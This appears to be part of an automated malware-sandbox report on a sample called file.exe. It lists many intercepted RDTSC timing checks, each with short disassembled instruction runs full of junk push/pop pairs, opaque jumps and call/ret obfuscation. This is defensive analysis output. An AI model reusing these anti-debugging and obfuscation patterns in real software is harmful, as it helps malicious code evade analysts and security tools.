Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23404 second address: D23408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23408 second address: D23420 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F47E55EA43Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23420 second address: D23424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2432A second address: D2432E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2432E second address: D2433B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2433B second address: D2433F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2433F second address: D2440C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F47E4F46FBCh 0x0000000f jmp 00007F47E4F46FB6h 0x00000014 popad 0x00000015 nop 0x00000016 mov dword ptr [ebp+122D23CBh], edx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F47E4F46FA8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 jmp 00007F47E4F46FB3h 0x0000003d mov ebx, dword ptr [ebp+122D3A41h] 0x00000043 sub ebx, dword ptr [ebp+122D3755h] 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push edx 0x0000004e call 00007F47E4F46FA8h 0x00000053 pop edx 0x00000054 mov dword ptr [esp+04h], edx 0x00000058 add dword ptr [esp+04h], 00000017h 0x00000060 inc edx 0x00000061 push edx 0x00000062 ret 0x00000063 pop edx 0x00000064 ret 0x00000065 mov edi, 0CCAD4D4h 0x0000006a mov bx, dx 0x0000006d xchg eax, esi 0x0000006e push edx 0x0000006f jmp 00007F47E4F46FB3h 0x00000074 pop edx 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F47E4F46FB3h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25417 second address: D2544B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F47E55EA446h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F47E55EA444h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26629 second address: D2662F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2662F second address: D26633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25632 second address: D25637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D26633 second address: D266AA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F47E55EA436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F47E55EA438h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov edi, 4DC37DBBh 0x0000002c push 00000000h 0x0000002e movsx edi, cx 0x00000031 pushad 0x00000032 sbb ecx, 6D22A138h 0x00000038 mov ecx, esi 0x0000003a popad 0x0000003b push 00000000h 0x0000003d call 00007F47E55EA445h 0x00000042 mov ebx, dword ptr [ebp+122D3891h] 0x00000048 pop edi 0x00000049 or dword ptr [ebp+122D3624h], eax 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F47E55EA441h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25637 second address: D25651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47E4F46FB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2572D second address: D2573C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E0AE second address: D2E0B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E23A second address: D2E242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2E242 second address: D2E24B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33957 second address: D3395B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3395B second address: D33997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F47E4F46FB7h 0x00000010 jmp 00007F47E4F46FB8h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D33997 second address: D339DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F47E55EA43Ch 0x0000000b jng 00007F47E55EA436h 0x00000011 pushad 0x00000012 jmp 00007F47E55EA448h 0x00000017 jmp 00007F47E55EA448h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D339DB second address: D33A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F47E4F46FA8h 0x00000010 jmp 00007F47E4F46FB8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D344EE second address: D344F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D345D7 second address: D345DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D345DB second address: D345DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D345DF second address: D345E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D345E9 second address: D345ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D345ED second address: D345F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D345F1 second address: D34645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F47E55EA448h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push esi 0x00000013 pushad 0x00000014 jmp 00007F47E55EA443h 0x00000019 jbe 00007F47E55EA436h 0x0000001f popad 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jno 00007F47E55EA43Ch 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D359AA second address: D359C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F47E4F46FA8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D359C4 second address: D359D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F47E55EA43Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3156 second address: CD315C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD315C second address: CD3176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F47E55EA436h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F47E55EA43Ah 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3176 second address: CD317C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39E0D second address: D39E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39E13 second address: D39E36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FABh 0x00000007 jo 00007F47E4F46FA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 ja 00007F47E4F46FA6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A3E1 second address: D3A3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A3E9 second address: D3A3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A3EE second address: D3A3F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A3F4 second address: D3A3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F47E4F46FA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A3FE second address: D3A438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F47E55EA43Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jno 00007F47E55EA44Dh 0x00000014 jg 00007F47E55EA43Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3A577 second address: D3A57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3ABBB second address: D3ABC9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F47E55EA438h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AD36 second address: D3AD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AD3B second address: D3AD46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F47E55EA436h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AD46 second address: D3AD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E4F46FACh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F47E4F46FAEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AED6 second address: D3AEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnl 00007F47E55EA438h 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F47E55EA436h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AEED second address: D3AEF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B059 second address: D3B094 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F47E55EA436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F47E55EA440h 0x00000010 jmp 00007F47E55EA444h 0x00000015 jp 00007F47E55EA436h 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D403DF second address: D403F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E4F46FAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D403F2 second address: D403F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D403F7 second address: D40412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E4F46FB2h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D40412 second address: D40432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F47E55EA443h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F1C2 second address: D3F1CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F1CA second address: D3F1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3FB83 second address: D3FB87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3FE77 second address: D3FE7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D40152 second address: D40160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F47E4F46FAEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44FD0 second address: D44FEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F47E55EA43Bh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F47E55EA44Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44FEF second address: D44FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45103 second address: D45117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA43Ah 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45117 second address: D4511D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D452BA second address: D452C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F47E55EA436h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45565 second address: D4556B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4556B second address: D45571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45571 second address: D45575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45575 second address: D455AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47E55EA449h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F47E55EA444h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D455AB second address: D455B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D456F5 second address: D456F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D456F9 second address: D45713 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F47E4F46FA6h 0x00000008 jmp 00007F47E4F46FB0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45879 second address: D4587E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4587E second address: D45883 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45883 second address: D4589D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F47E55EA43Ch 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D459EE second address: D459F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45B6A second address: D45B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F47E55EA43Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF4819 second address: CF481D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF481D second address: CF4839 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F47E55EA436h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jo 00007F47E55EA436h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D464A0 second address: D464A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49B50 second address: D49B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0904F second address: D09054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09054 second address: D09059 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09235 second address: D09239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09629 second address: D09633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F47E55EA436h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09633 second address: D0964E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F47E4F46FAEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0964E second address: D09666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47E55EA444h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09666 second address: D09691 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F47E4F46FB2h 0x00000008 jmp 00007F47E4F46FACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F47E4F46FAEh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09691 second address: D0969B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0969B second address: D0969F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0969F second address: D096A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D096A3 second address: D096B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D096B3 second address: D096B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D096B8 second address: D096D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F47E4F46FA6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F47E4F46FABh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D09E7B second address: D09E85 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F47E55EA43Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0A29A second address: D0A2CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dl, B5h 0x0000000c lea eax, dword ptr [ebp+1247DD28h] 0x00000012 cld 0x00000013 push eax 0x00000014 pushad 0x00000015 push edi 0x00000016 jmp 00007F47E4F46FB2h 0x0000001b pop edi 0x0000001c jg 00007F47E4F46FACh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
